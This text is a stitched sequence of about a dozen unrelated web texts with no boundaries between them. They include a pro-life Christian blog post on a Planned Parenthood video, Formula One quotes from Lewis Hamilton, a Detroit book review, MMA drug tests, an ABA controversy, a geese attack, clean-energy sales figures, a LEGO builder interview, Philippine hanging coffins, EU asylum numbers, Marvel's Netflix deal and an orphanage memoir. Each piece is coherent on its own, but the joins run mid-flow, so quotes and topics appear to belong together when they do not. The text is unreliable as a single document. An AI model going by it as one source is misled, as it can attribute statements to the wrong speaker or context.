It deeply disturbs me to see a stadium full of people cheer whenever abortion is affirmed. #DNC2012
Where Are Mainline Protestants and Progressive Evangelicals?
Many others will debate the politics and the next steps, but I am wondering: where are the religious voices from the left on this issue?
Where are those bloggers, and speakers, and social justice organizations who have spoken up on so many injustices? (I will happily post those who've spoken up for the unborn child in this situation.)
Where are the mainline denominational leaders speaking up, while millions of people in their churches have heard the news or watched the video and wonder where their church stands?
And, most of all, where's the voice of some of those progressive evangelicals who once promised that, though they were broadening the pro-life agenda to include peace, the environment, and social justice, assured us they would not lose sight of the life of the unborn?
Will the Source Mute the Concern?
Sadly, the outrage over the contents of this video has mostly been found among conservative voices, mainline voices are largely absent, and progressive evangelical voices are few.
Many appear concerned about the source and the editing of the video. But let's not discount the tragedy because we don't like those who brought it to light. "The video is misleading and heavily edited!," you say, but is what's clear in the unedited version is not horrible enough for your to say something?
As Timothy Stanley says in an artilce at CNN.com:
All of this [Planned Parenthood defense] may well be true. But it skips over the bigger ethical questions that the video raises. It's like watching Hannibal Lecter discuss making a human casserole and protesting that all the ingredients were provided willingly.
At the end of the day, we have a video over two hours long discussing what really takes place in the world of the abortion industry. And, that's a justice issue.
A Seared Conscience
First Timothy 4:2 talks about our consciences being seared. We know the Democratic Party has set its face like flint with the advocates of abortion, or to be fair to their terminology, to be "pro-choice." We know the media, as evidenced by their handling of Planned Parenthood and Komen, will often not give a fair hearing to these concerns—even after Gosnell.
But people of faith, Mainline Protestants and progressive evangelicals, don't let your conscience be seared. Don't let your heart be deadened to the plight of the unborn.
You owe it to yourself. You owe it to your faith. And you owe it to the unborn to take the time to watch the unedited video.
As you watch the video, ask yourself the question, "Is this what I signed up for?"
Will this video actually cause some mainline Christians and progressive evangelicals to think that, perhaps, the overwhelming embrace of abortion, or "choice," has led to this—an all out defense of an abortion doctor casually dismissing the crushing of human bodies in the womb in specific ways so that profitable organs can be preserved?
We Need You to Be Prophetic
Many progressive Christians worked hard not to be "single issue voters." However, if this moment does not bring you to outrage and to tears, there is something wrong. It simply must not be acceptable to discuss how best to take an unborn child's life so that a clinic can receive a "financial benefit.”
We disagree on a lot, and we agree on some, my mainline and progressive evangelical friends, but can we at least agree that this deserves your voice.
As we know, in the Christian tradition, there's a word for speaking out in this way. It's called being "prophetic." When you're too beholden to one political party or ideology, you lose your prophetic voice. That's what's happened to many a conservative evangelical, I know.
Yet, it can happen to all of us.
That's why I was encouraged to read this:
Now, I’m well aware that Planned Parenthood performs numerous procedures that have nothing to do with abortion, and often these practices are provided to low income families. So I’m certainly not going to pan an entire organization based on Nucatola’s uncaring demeanor. But my heart ached when I listened to Nucatola describe in gross detail her careful process for aborting a fetus without harming its organs. In fact, I haven’t been able to get her words out of my head. Which is why I decided to say something about how her words made me feel. Yes, I’m progressive. Yes, I’m not as hardcore on this issue as evangelicals. But I care about life, all life. While I know that many Christians seem certain beyond all reason that life begins at conception, I’m frankly unsure when life begins. Maybe life does begin at conception. Or maybe it’s a few days or weeks later. But at some point it does begin. And certainly, by all accounts, Nucatola’s words were describing a life.
That's prophetic and it's from Mathew Paul Turner, not exactly a bastion of the right wing evangelicalism. I'm thankful for several tweets from Rachel Held Evans and comments from Elizabeth Esther. (Rachel also shared a blog she wrote a few years ago on why progressives should care about abortion.)
I am NOT saying this is an exhaustive list, but this is nothing like how the progressive blogosphere speaks up on most justice issues.
I debated naming the names of the prominent bloggers and even organizations who have been silent, but I've decide to "provoke to love and good deeds" (Hebrews 10:24) rather than to attempt to shame.
Please Speak Up
So, progressive religious leaders, please be prophetic to the left as you've been to the right.
Sadly, we can all point out that conservative evangelicals often have not been—and you've loudly critiqued us for it. Conservative evangelicals were too beholden to the GOP, which promised much on a social agenda but delivered little. Because of politics, many were left unable or unwilling to speak to issues of greed and lack of concern for the poor.
I have written before how many conservative evangelicals have confused rightwing politics for the gospel and, in turn, hindered their witness with the unchurched, who are more likely to be democrats. And, I've joined you in speaking up for immigration reform, on racial injustice, and much more.
On the other hand, we now find some Mainline Protestants and progressive evangelicals unable to speak prophetically to the Democratic Party—even as we watch the graphic discussion of how clinics can benefit at the expense of the dismemberment of unborn children.
Prophetic Words for Those Who Cannot Speak Themselves
Let's be prophetic, my Mainline and progressive evangelical friends. That's what many of you, particularly my progressive evangelical friends, promised us, on issues of life—from conception to natural death. You promised a prophetic voice and that's what we're looking for.
As Matthew Paul Turner explained:
But at some point, abortion is an issue that involves a person who has no voice. She’s not a liver. Or a heart. Or a pair of lungs. She’s a life. I must speak up for her.
With Baku coming up next, Hamilton - who had endured a disappointing weekend there last year - is cautious about his prospects, but he believes real progress has been made in more consistently extracting performance from Mercedes' current W08 car.
He said in Canada: "Obviously we’ve had a great weekend, but I can’t really predict what’s going to happen. We’re going to go to another race – Baku is very smooth, a bit like Russia.
"For us, personally getting the car where we need it every weekend is definitely a challenge. But I think we’ve learned a lot from Monaco, I think we’ve learned a lot [from Canada].
"If we acquire the same diligence that we did in the past two weeks after every single race, even when we win, I’m pretty sure that we can continue to fight, and maybe not make the rollercoaster ride so up and down."
Hamilton reckoned the turnaround from Monaco to Montreal was some of his team's most impressive work and compared it favourably to the recovery from its worst slump of the 2014-'16 era - the Singapore GP weekend of 2015.
"I think in Singapore it was a bit more of an unknown, what happened then," he said. "I definitely came away even after two weeks still not fully understanding why we were in the position we were in. It was a bit like that for all of us, even though we did come back.
“This time, as I said, the teamwork, the engineering, was so much better. We really understood where we went wrong, we really understood where the car was wrong, why we couldn’t activate the tyres.
"We came here actually with real knowledge rather than an idea of what potentially might have been the case, and 'we’ll try a couple of them'. We actually came here with a real know-how of how to fix it.”
Canada fastest lap was for data
In Canada, Hamilton surprised most observers by setting the fastest race lap on lap 64, running a second faster than he had previously, and at a time when he was comfortably ahead of his teammate Valtteri Bottas.
Rather than an act of showboating, Hamilton - whose late benchmark helped him wrap up his fourth career 'grand chelem' (pole, victory, every lap led and fastest lap) - insisted he was gathering useful data for himself and his engineers.
"It was not for fun, it was just I had not really had to put the car on the limit during the race,” he explained. “When I come back and do my engineering I have to give back information, and get a lot of information, from doing 70 laps of the track.
"There are several different states you can put the car in, and I was like 'one lap I need to put the car properly on the limit'. To see firstly how the tyres react - do they wake up, do they get better, do they get worse, does the car react differently on the kerbs?
EMINEM steps out of a sedan and into Detroit’s spectacular Fox Theatre, with its Corinthian columns and recumbent lions. He walks down the aisle towards a black gospel choir onstage, robed in red and black, their voices rising. The Detroit-based rapper turns around, defiantly pointing at the camera. “This is the Motor City. This is what we do,” he says.
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David Maraniss choked up when he saw this two-minute Chrysler advertisement during the Super Bowl, the annual football extravaganza, with its images of smokestacks, ice skaters and Diego Rivera’s “Detroit Industry” murals. Suddenly he realised how much he still cared for his birthplace, where he spent the first six and a half years of his life. So much so that he decided to write his 12th book about the city, when it was at the peak of its economic, political and cultural power. He picked the early 1960s, from the autumn of 1962 to the spring of 1964.
At the time Detroit was the economic engine of America. In January 1963 Life magazine published a story under the headline “Glow from Detroit Spreads Everywhere”. The factories of Ford, General Motors, Chrysler and American Motors were firing on all cylinders. The increase in women drivers, the trend towards two-car families, the rising income of the post-war baby boomers and the promise of foreign markets inspired tremendous optimism for the industry’s growth. The annual motor show was the biggest and most important event of its kind, the Academy Awards on wheels; on occasion even the vice-president came.
Detroit was also a centre of progressive politics and the civil-rights movement. Mr Maraniss devotes an entire chapter to Walter Reuther (pictured, left), the memorable boss of the most powerful union, the United Auto Workers (UAW). His parents, German immigrants, raised him with visions of social justice and workers’ rights. Reuther was an idealist but also a pragmatist, which made him enemies on the left as well as the right. George Romney, the Republican governor of Michigan in 1963, called him “the most dangerous man in Detroit” because of his ability to bring about “the revolution without seeming to disturb the existing norms of society”.
Reuther was concerned with civil rights almost as much as with workers’ rights. He invited Martin Luther King (pictured) to the UAW’s 25th-anniversary dinner and afterwards distributed copies of King’s speech to the rank-and-file. When hundreds of protesters were jailed after King’s Birmingham campaign of civil disobedience, Reuther dispatched two UAW staffers with $160,000 in money belts to bail them out of jail. “It could be said that to a significant degree Detroit and its autoworkers were the [civil rights] movement’s bank,” Mr Maraniss writes. In Detroit in June 1963 King led the “Walk to Freedom”, then the largest civil-rights march, and delivered a version of his “I Have a Dream” speech which he would give nine weeks later at the Lincoln Memorial in Washington, DC.
One of the book’s strengths is its colourful cast: Jerome Cavanagh, the progressive Irish-Catholic mayor of Detroit, a bon vivant, father of eight and sharp dresser, who “kept four extra suits, 13 striped ties and a cabinet of fresh shirts” in a study adjoining his office; Henry Ford’s grandson, Henry II, called the Deuce, who was “impeccably dressed yet with a touch of the peasant, with his manicured nails and beer gut and carefree proclivities, his frat-boy party demeanour and head full of secrets”. Mr Maraniss also interviewed Berry Gordy, the founder of Motown, the record company, who now lives in Los Angeles. He describes how Motown was the product of the entire Gordy family, especially Mr Gordy’s four older sisters. And how thanks to Grinnell’s, a well-known local piano-maker, the ready availability of pianos, even for black families, as well as inspiring state-school music teachers fostered the talent that flocked to Motown.
For all Detroit’s glow, the storm clouds were already gathering in the early 1960s. Mr Maraniss cites a study by Wayne State University in 1963 that predicted the population of Detroit would drop from nearly 1.7m to 1.2m between 1960 and 1970 and continue to dwindle. “Productive persons who pay taxes are moving out of the city, leaving behind the non-productive,” the report noted. It also mentioned that in 1960 Detroit’s population was 28.9% black and forecast that by 1970 the city would be 44.3% black, pointing out that blacks who had the resources moved to the suburbs “with the same urgency as whites”.
As we recently reported, Kimbo Slice and Ken Shamrock both failed post-fight drug tests, but the substances weren't revealed. The substances have been uncovered, and it's not pretty.
See Also: Ken Shamrock Reveals Why He Left WWE And TNA
ESPN's Brett Okamoto reported Shamrock tested positive for elevated testosterone levels, as was 12.4:1, well above the Texas limit of 4:1. Methadone and Nandrolone were found in his system, with Methadone being pretty concerning considering it's used to treat major drug addiction. Nandrolone is a fairly common anabolic steroid.
Kimbo Slice's testosterone level was 6.4:1. According to MMAFighting, he has also tested positive for Nandrolone.
NOS Magazine reached out to the original poster of the cards, Dr. Amanda Kelly, also known by her blogging moniker “Behaviorbabe.” Dr. Kelly has won multiple awards, including “Advocacy Group of the Year” from Autism Speaks. She also has made multiple videos about ethics and ABA. Dr. Kelly stated that she only posted the cards, and that she did not contribute to their creation. Rather, they were the creation of a group of students. She also stated that she should have looked more closely at the cards and did not review them before posting. When asked for more information on the students, Dr. Kelly stated that she did not know who those students were.
Tobey Karpel, who is not a student but is in fact a board certified behavior analyst, was explicitly credited on Dr. Kelly’s page for the cards before they were taken down. NOS Magazine reached out to Tobey Karpel about her role, but she did not respond to our inquiry. Ms. Karpel did speak to Max Sparrow, an Autistic activist and advocate. She told Mr. Sparrow that she did not write the cards, but that they were a collection of comments posted in a private Facebook group for behavior analysts. she felt she was the victim of a ”witch hunt” and that the game was meant to help professionals like herself “blow off steam.” It is worth noting that Mr. Sparrow struggles with PTSD as a result of behavior therapy he received as a child.
Originally posted in December 2016 on the popular Facebook page for Behaviorbabe, the cards had over 1100 likes and 150 comments, none of which were negative before being discovered by the Autistic community. Many ABA practitioners commented to express interest in sharing the game with their professional colleagues. The cards themselves appear to have been generated by multiple behavior analysts. This seems to indicate that “Cardgate” is not the result of a few bad actors but a cultural problem in behavior analysis. NOS Magazine asked Max Sparrow how this incident has affected his view of behavior therapists and applied behavior analysis as a whole. His comment was fairly damning:
Before “Cardgate” I believed that there were many caring BCBAs, trying to do good from within a corrupt system. I still believe good people go into ABA with compassion intentions but the system breaks most of them. Some quit; some go on to work broken and leave many broken clients in their wake. The search for good BCBAs has begun to look like Abraham pleading with G-d to spare Sodom and Gomorrah if ten righteous men could be found there. I doubt we could find ten righteous BCBAs. I would welcome a metaphorical rain of fire and brimstone on the entire industry. That’s where I’m at right now: disappointment and disgust of Biblical proportions.
John Needham, of Shorrock Lane, Blackburn, was cycling along the tow path of the Leeds-Liverpool canal at Eanam Wharf when the birds flew at him.
The father-of-two said that once he had fallen to the floor, two of the geese started to peck at him.
Mr Needham, who works at wallpaper manufacturing company Graham and Brown, said: “I was on my mountain bike when one of the geese flew straight at me.
“I managed to toss it to the side, then another two came at me and knocked me off my bike.
“The handlebar went right through my hip and that is when they pounced on me.
“They pecked at my finger, my elbow and my knees.
“My injuries are painful. My hip is sore. It is badly bruised and there is a big bump there.”
The 49-year-old made it into work but then had to go to hospital because of the pain, where he received a tetanus injection and antibiotics.
Mr Needham said the geese had around 15 goslings with them and might have been trying to protect them.
He said: “It was quite a traumatic experience and I cannot believe how quickly it all happened.
“When I got the last one off me, it still tried to get back at me and I had to shove it off me.”
Stephen Leigh, North West ecologist for the Canal and River Trust, said the most likely explanation was that the birds were trying to defend their young.
Worldwide sales of solar cells, biofuels and wind turbines soared 53 percent last year to hit $115.9 billion before the global recession started sapping their strength, according to an annual report issued Tuesday.
The report by the Clean Edge research firm shows the alternative energy industry at a turning point in 2008.
After years of rapid growth fueled by rising oil prices and fears of global warming, the industry was finally making serious cash. Green businesses were hiring, with solar and wind companies accounting for a total of 600,000 jobs worldwide, according to the report.
But as 2008 wore on, the world slid deeper into recession, the oil market crashed and banks stopped lending to green startups. As a result, the report's authors expect the industry's sales to flatline or fall slightly in 2009. And some green-tech companies won't live to see 2010.
"This is going to be an extraordinarily challenging year, and there's no question there's going to be a shakeout," said Joel Makower, one of the report's authors and a co-founder of Clean Edge. "It's really unfortunate timing, just at the point when clean energy has been reaching critical mass."
Makower and the report's other authors don't expect the alternative energy business to wither away. President Obama's economic stimulus package devotes more than $70 billion to clean energy and transportation. The administration also appears determined to put a price on greenhouse gas emissions, potentially making fossil fuels more expensive to burn.
"If it were just about oil prices, some of these companies would be in real trouble," said Clean Edge co-founder Ron Pernick, another of the report's authors. "But it's not."
Once the financial crisis ends, Pernick expects the industry's growth to resume, albeit at a slower pace. The report projects that by 2018, revenue from solar power, wind power and biofuel companies will hit $325.1 billion, and the three sectors will produce 2.7 million jobs.
Their growth in recent years has been substantial.
Worldwide revenue for wind power companies jumped 71 percent from 2007 to 2008, reaching $51.4 billion.
Biofuel revenues surged 37 percent, to hit $34.8 billion. More than 19 billion gallons of ethanol and biodiesel were produced worldwide, according to the report.
Photovoltaic solar power sales, including the equipment and installation, rose 46 percent to $29.6 billion.
By 2018, Clean Edge predicts that revenues will hit $139.1 billion for wind, $105.4 billion for biofuels and $80.6 billion for photovoltaic solar.
It was immediately evident why Dan is 1 of only 7 official Master Builders in the world employed by The LEGO Group. Dan has the envious job of travelling around the world, building incredible giant-sized LEGO models and inspiring both kids and adults to build beyond their instruction manuals.
Dan is in Sydney this weekend for a very special LEGO Star Wars Day event in Westfield Penrith to help construct the world’s tallest LEGO Darth Vader model. On the 3rd and 4th of May, you can help assemble a massive 4-metre LEGO Darth Vader out of over 250,000 LEGO bricks. The event is free and open to the public so if you’re in Sydney, be sure to head down to Penrith and be a part of Australian LEGO history.
I recently had the opportunity to chat with Dan about life as a Master Builder, Star Wars and his lifelong love for LEGO.
Most of us would only dream of having a job like yours. How did you become a Master Builder?
I was 37 and working at a sales job. I had 4 children and one day, a buddy of mine who worked at LEGO mentioned that there was an opening in the model shop. He said that they were a bunch of creative people and he thought I’d fit right in. He knew I had a background in art and sculpting so he figured it would be a great fit for me and it surely was, it was a terrific fit. This May, it’ll have been 21 years that I’ve been with LEGO and I love every moment of it.
Is there a super secret ceremony that takes place when you become a Master Builder?
(laughs) Not really, but I had to go through a pretty unusual hiring process. I wasn’t hired as a Master Builder. I became a Master Builder. It was a highly sought after position and I was going after Master Model Builder ever since I knew about it. I was very lucky that it took me a year and a half after I was hired to become Master Builder. When I got promoted to Master Builder, it was very similar to other companies where you meet the HR person, get congratulated from your teammates in a meeting where your promotion is announced and then it goes out in a companywide email. That was really exciting!
One of the more interesting things before I was hired was during the interview process where I had to build a trophy out of LEGO. They had a tray of different yellow elements, no instructions and they told me that I had an hour to build a trophy about a foot high. They left me alone and they came back about 20 minutes later where I was almost done and I got the job! It was 3 hours of interviews at that time for the entry level minimum wage position as a Model Floor trainee – that was my official title, then I became Model Gluer, followed by Model Builder before finally becoming a Model Master Builder.
What’s your typical work day like and what is your favourite thing about working with LEGO?
My typical work day is full of meetings like any other company! (laughs). I like the brainstorms, coming up with new ideas to promote certain lines of product. We work closely with brand managers to generate ideas on how to promote Star Wars (in this case), City or any other line. We also figure out how to get LEGO into the hands of kids using the Model Shop.
I have expense reports which are not very fun for all the times I spend travelling. I’ll often sit at my desk which is precious to me and build a model. I’ll actually spend all day on the model. Even after 21 years, I still enjoy that a lot although I don’t get to do that as often as I’d like. As you move up you kinda move away from the actual building stuff. At the events I get a chance to build but in the office they got me doing a lot of project management stuff.
Are you a big Star Wars fan? How excited are you to build the world’s largest LEGO Darth Vader here in Australia?
I enjoyed Star Wars. I saw the first 3 movies in the theatres and it shows that I’m both old and a Star Wars fan! (laughs). I’ve got 4 kids and they’ve all seen the Star Wars movies. We have a guy in the shop who is on top of the hill as far as Star Wars fans go. I generally go to him if I have any Star Wars questions. Last year, I was building a Tie Fighter and I wanted to know what colour the Tie Fighter’s lasers were. They were green, I think. He’s the go-to Star Wars guy in the shop. Master Builders have their own specialties; mine is more on the events side and building large models!
How much planning and preparation goes into designing and coming up with the concept for these large scale models?
We were talking about this project (4m high Darth Vader) almost a year ago since LEGO Australia proposed the idea of doing something a bigger build in a shopping mall and wanted to tie it in to May the 4th to promote LEGO Star Wars. It takes quite a bit of planning. It takes about 3 months on the design side and about 1 month to build the prototype. As you build the prototype, you’re constantly redesigning it. It’s a fairly long process.
Do you use any special tools or programs, or do you work out the designs and elements in your head like how we saw the Master Builders do it in The LEGO Movie?
When I first started we didn’t have computers and they barely had any technology 21 years ago. Today, they design models in Maya, a 3D modeling program. We then import the 3D image into a program called Brick Builder which converts the entire 3D image into 1 X 1 bricks or 1 X 1 plates. 1 X 1 plates give you a more tapered look.
With the Darth Vader in Sydney, it’s a brick model because the kids are actually helping me build it. The prototype model is mainly made out of 2 X 4 bricks. The kids will create bricks 4 times larger than a 2 X 4. It makes for a blocker model but we want to get the kids involved and have a hand in building the model, as opposed to a demonstration build. We worked on Darth Vader in Brick Builder for awhile and I actually try to build all the prototypes whenever I’m at an event – so I know what it’s going to look like and what the challenges are going to be.
Who is your favourite Star Wars character?
My favourite Star Wars character is probably Yoda. He’s probably everybody’s favourite. I do like Jar Jar Binks (laughs) and he gets a bad rep. Nobody likes Jar Jar Binks, but I do.
I like Yoda’s lack of size, but he has wisdom and he’s a very powerful user of the Force. Right from the beginning when the movies first came out, you see this tiny old character who doesn’t look like a whole lot and he then turns out to be very wise and powerful. I think that’s a good metaphor for people and for life.
I also like General Grievous – but they killed him off way too fast. He’s a really cool bad guy. Of course I also like Vader and Darth Maul. I once built a 3 metre tall bust of Darth Maul, which was only his head and shoulders. That was very creepy.
If you had to choose, would you pick the Light or Dark side of the Force?
I like to think myself as a good guy and even though I like Yoda, I tend to gravitate to the Dark side a little bit (laughs). I think that it would be awfully boring if Yoda had nobody to go up against and there was no Dark side. Life in the universe wouldn’t be as exciting.
Image from StarWars.com
How would you describe your building style?
I like big. I love going big with my builds. This 4 metre tall Darth Vader is a perfect example of a challenge that I like. Last year, they did a life sized X-wing in New York. I was there in Times Square for the unveiling and it was just unbelievable. I’ve built LEGO for almost half my life and I was just amazed by it.
The X-Wing was built in the Czech Republic and I was there to talk to the press and do some repair work on the model. That thing was just sick, unbelievable. I like big things and how you can easily scale things up with LEGO.
If you could build a distinctly Australian LEGO creation, what would it be and why?
I don’t know, I’ll have to talk to folks around here. My perspective as someone from the States is that Australia is all about koalas, the Outback, kangaroos and Crocodile Dundee. I would think that it would be great to make a Didgeridoo out of LEGO. One that works and that you can produce sound with. I think that would be fun.
You build giant-sized LEGO models around the world. What happens after the model is completed and where do they go?
The X-Wing at Times Square eventually ended up in Legoland California. For this Darth Vader that I’m building, it’s going to stay in the Westfield shopping complex for a week or so – then it’s going to be taken down, sorted by size and colour, put back into boxes and that’ll go to LEGO’s Sydney headquarters where it can be used for future events.
Just last weekend I was in Las Vegas and I built a 3 metre tall R2D2. That one was broken down that very night after I finished. A lot of these models are constantly rebuilt over and over again – that’s the life of them. It’s interactive and is one of the ways we get bricks into the hands of kids and adults who may not have had the opportunity to play with LEGO.
The glued models that we build, like the ones for Comic-Con and Toy Fairs are usually to show off new product lines. Those usually have steel on the inside and all the pieces are glued together so it doesn’t fall apart in transit. That’s their life, they travel around to different shows. Eventually, they come back to Connecticut where I work and they’ll be around the office. Some of them may never come back because they’re licensed models and we no longer have the license anymore!
You work with a lot of kids at various building events. What do you tell them when they ask you about how to become a Master Builder?
It’s hard because there’s so few of us in the world. In fact there’s only 7 of us that have that title of Master Builder. There are a lot of model builders, a lot of LEGO designers but as far as Master Builders, there’s only 7 of us employed by The LEGO Group. There’s no university or college that offer a LEGO degree.
I usually tell parents that engineering and architecture are good starting points. I have a background in art and 3D design. Just try and get a foot in the door. Get a job somewhere at LEGO and work your way into the Model Shop.
I’ve been here 21 years and they’ve never hired anybody as a Master Builder. You always have to work your way up the ranks.
What’s your favourite LEGO theme of all time?
(laughs) There are so many themes, they’re like children to me. You can’t have favourites! I don’t know why I like it so much but it has a warm place in my heart and that was the Statue of Liberty set. When it came out, the bricks were sand green which was a cool colour at that time because it was the only set that contained it.
It was a really nice model and I remember building it early on in my career and you know what, I never bought it. I kick myself that I never bought that set. That was probably one of my favourite sets.
I was also a big fan of old school Aquazone. I got into Divers and other themes, but Aquazone was always cool with the crystals and everything. There are a lot of yellow elements and different ships and I really enjoyed playing with them.
A wizard has turned you into a single LEGO piece. What piece would it be, and why?
I would be a 2 X 4 red brick. I’m not very flashy guy, I’m kind of a regular guy. The 2 X 4 is really iconic for LEGO and is really just a basic building block, the cornerstone of all builds.
There are a lot of really cool pieces like jumper plates and cheese wedges, but a basic 2 X 4 will always be my favourite.
Lastly, what advice do you have to give to builders who want to get better at building their own creations?
Eventually, you gotta put your instructions away and take your sets apart. To be really creative, you need to get out of your comfort zone and start building what you want to build. One way to do that is to go to LEGO.com and download the LEGO Digital Designer. Another good start are the Master Builder Academy sets (Editor’s note: unfortunately not available in Australia) which teach you basic to advanced building techniques.
We want to see kids building with just LEGO. If you remember The LEGO Movie, it’s really important to build whatever you want out of LEGO and not worry whether it’s right or wrong. Most fans have a pile or bucket of LEGO in their house which is a fantastic place to start. It’s important to keep building and learning.
Thanks a ton to LEGO Australia for this fantastic opportunity to speak to Dan. If you’re in Sydney this coming weekend, come celebrate Star Wars day by heading down to Centre Court, Westfield Penrith on Saturday and Sunday to help Dan construct the world’s largest LEGO Darth Vader.
The coffins are either tied or nailed to the sides of cliffs, and most measure only about one metre in length, as the corpse is buried in the foetal position. The Igorots believe that a person should depart the same way he entered the world.
When someone dies, pigs and chickens are traditionally butchered for community celebrations. For elderly people, tradition dictates this should be three pigs and two chickens, but those who cannot afford to butcher so many animals may butcher two chickens and one pig. Soledad tells me the number must always be three or five.
The deceased is then placed on a wooden sangadil, or death chair, and the corpse is tied with rattan and vines, and then covered with a blanket. It is thereafter positioned facing the main door of the house for relatives to pay their respects. The cadaver is smoked to prevent fast decomposition and as a means to conceal its rotting smell. The vigil for the dead is held for a number of days, after which the corpse is removed from the death chair to be carried to the coffin. Before being taken for burial, it is secured in the foetal position, with the legs pushed up towards the chin. It is then wrapped again in a blanket and tied with rattan leaves while a small group of men chip holes into the side of the cliff to hammer in the support for the coffin.
“The corpse is wrapped like a basketball", says Soledad, "on the way there, mourners do their best to grab it and carry it because they believe it is good luck to be smeared with the dead’s blood.” The fluids from the corpse are thought to bring success and to pass on the skills of the deceased to those who come into contact with them during the funeral procession.
When the procession reaches the burial site, young men climb up the side of the cliff and place the corpse inside a hollowed out lumber coffin. The bones are cracked to fit the corpse into the small space, which is then sealed with vines.
The newest coffins measure to about two metres, Soledad explains: “These days, coffins are long because the relatives of the deceased are afraid to break the bones of their loved ones. Very few choose to follow that tradition now.”
Today, Sagada’s elders are among the last practitioners of these ancient rituals. Younger generations have adopted modern ways of life and are influenced by the country’s profound Christian beliefs. “Children want to remember their grandparents but they prefer to bury them in the cemetery and visit their tombs on All Saints Day. You can’t climb and visit the hanging coffins. It’s a tradition that is slowly coming to an end. It’s dying out.”
If you want to explore more of the Philippines, buy the Rough Guide to the Philippines or to explore this area of the world, look out for the upcoming edition Rough Guide to Southeast Asia on a Budget in August 2014.
"It's not sustainable in the long term that just two countries with capable asylum structures, Germany and Sweden, take up the majority of refugees," he said.
"All EU states have the moral duty to welcome them [asylum seekers] and they have a clear legal duty to protect them."
While asylum seekers generally enter Europe through Greece and Italy, nearly half of all asylum requests in 2014 were presented in Germany and Sweden, a sign of the continent's lopsided distribution.
Guterres' latest effort to rally other European countries comes days after German Chancellor Angela Merkel made global headlines for suggesting that immigration could become a greater challenge for the European Union than the Greek debt crisis
"The issue of asylum could be the next major European project, in which we show whether we are really able to take joint action," she told ZDF public television on Sunday.
Following rising numbers of asylum applications from eastern European countries including Albania, Bosnia, Bulgaria and Serbia, Merkel also called for the European Union to establish a list of safe countries of origin, where citizens are not generally under threat of violence or persecution.
She said she hoped this tactic would deter people from wasting their time making pointless applications, so that her country could focus on those fleeing Iraq, Syria and Afghanistan.
The number of refugees arriving in Germany was expected to reach 500,000 this year, but the Handelsblatt newspaper on Tuesday quoted government sources saying this figure could rise to 750,000.
New official figures are due to be published on Wednesday, and if that projection is confirmed, it would be a record and far more than the previous high in 1992, when Germany opened its doors to refugees fleeing the Balkans wars.
Asylum seekers arriving in Sweden. Photo: Maja Suslin/TT
Sweden recorded the next biggest number of asylum applications in the EU in 2014 -- 13 percent, although as a proportion in relation to its population size, the country is shouldering the biggest burden in the bloc.
However there are signs that refugees are starting to shun the Nordic nation as news spreads about long waiting times and cumbersome bureaucracy in Sweden.
Marvel fans will be able to get their superhero fix in 2015 when Netflix unveils four different live-action series based on comic book characters.
In a deal announced Thursday between Marvel owner Disney and Netflix, the lineup will debut with a show focused on Daredevil, the red-clad adventurer whose alter ego is blind attorney Matt Murdock. Another series will focus on Jessica Jones, a superhero who's gone through a few different identities in the Marvel universe.
A third series will cover the exploits of Iron Fist, a hero known for his martial arts skills, followed by a fourth series featuring Luke Cage, a street-savvy hero with steel-hard skin and powers to match.
Netflix promises that the series will take viewers into "the gritty world of heroes and villains of Hell's Kitchen, New York." So far, all four series have received a commitment of 13 episodes each, guaranteeing at least one full season apiece.
The capper to the four shows will be a miniseries based on Marvel's Defenders, a team that in the Marvel comic book universe has included the Hulk, the Silver Surfer, Dr. Strange, and the Sub-Mariner. Netflix has dubbed its version of the the Defenders a "team of self-sacrificing, heroic characters."
"This deal is unparalleled in its scope and size, and reinforces our commitment to deliver Marvel's brand, content, and characters across all platforms of storytelling," Marvel Entertainment president Alan Fine said in a statement. "Netflix offers an incredible platform for the kind of rich storytelling that is Marvel's specialty. This serialized epic expands the narrative possibilities of on-demand television and gives fans the flexibility to immerse themselves how and when they want in what's sure to be a thrilling and engaging adventure."
The deal seems like a super coup for Netflix, which has already done well with "House of Cards" and other original series. Thanks to "The Avengers" and related Marvel comic book films, the new series should have a built-in audience eager to see more heroes on the small screen.
However, the commitment to four individual series could also be a gamble for Netflix. The heroes featured in the new shows are lesser-known characters in the Marvel universe and lack the star power of an Iron Man, a Thor, or a Captain America. Marvel's latest foray into TV is "Agents of SHIELD," created by "Avengers" director and cult favorite Joss Whedon. But the new series continues to slip in the ratings, according to Entertainment Weekly.
There are ones you never forget. Mine is the little girl in the green room with the curtains drawn against the sun, which presses against them in bright vertical rectangles. Those blocks of light are veiled evidence of a world outside this room. Inside are two rows of green and pink cribs, five on each side of the room, with an aisle down the middle. She is on her back in a pile of blankets in a pink one at the end of a row.
Some days there were toddlers in the other cribs, attempting to nap, or refusing, depending on their toddler moods. Other days, they were in a playpen in another room, climbing over and on each other like puppies. “Hey,” my sister whispered to a group of them one day. They were in a huddle on a little boy’s back as he sprawled face-down on the floor of the playpen. He was crying. “Don’t stand on him. That’s not nice.” The huddle stopped jumping and looked at her, blinking. “La la la,” she tried again. Blink. Blink. Jump.
Back in the green room, the little girl was staring at the ceiling. Something was wrong with her—she didn’t seem able to move—she was too old for a crib—her limbs were sticks–her eyes was wild and lost—but I never ventured through the doorway for fear of upsetting the nurses shuffling past. Instead, I stood on the threshold, trying to catch her eye. I’m not sure why I wanted her to see me standing there with my forced smile. I wasn’t staying. I wasn’t taking her home. At the end of the week, I would be on a plane to Paris, then to Philadelphia, and she would go on lying there in her crib until she wasn’t lying there anymore. Sometimes she whimpered and grunted. Sometimes she cried with her mouth wide open, only no sound escaping. That is how she comes to me in the quiet spaces before I fall asleep: a little girl buried in blankets in a stuffy room, her mouth a circle of soundless sobs, as I instinctively shush her from the doorway, the way I do when my own children cry.
One day everyone at the orphanage seemed cranky. It was over 100 outside—a boiling spring day, even for Morocco—but the babies were still dressed in their requisite three layers. Maybe they were hot or their afternoon bottles were late or they hadn’t slept well or it was just one of those days, but the entire orphanage reverberated with MAMAMAMAMAMAMAMA. It would have been easy to hear something that wasn’t there–a long, deep cry for the bodies that had left them somewhere else–but I was trying hard not to form metaphors from my own narrative of emotion. That’s not easy to do in an orphanage, for anyone, but especially when you are adopted.
As a child, orphanages haunted me. They were one of the boogeymen of my nightmares. My sister and I were in foster care briefly between mothers, but the possibility of the orphanage still hung in the air of my childhood like a barely missed threat. The only still operating orphanage I knew of was in nearby Assumption, Illinois, a small rural community along I-51 that we passed through heading somewhere south. As we drove by Kemmerer Village, I gave in to my imagination, populating the insides of buildings I couldn’t see with sad, parentless Oliver Twists and Orphan Annies and Pips and Pollyannas. As an adopted kid, I didn’t take family for granted. Family wasn’t an inevitability, an expectation. It was a gift.
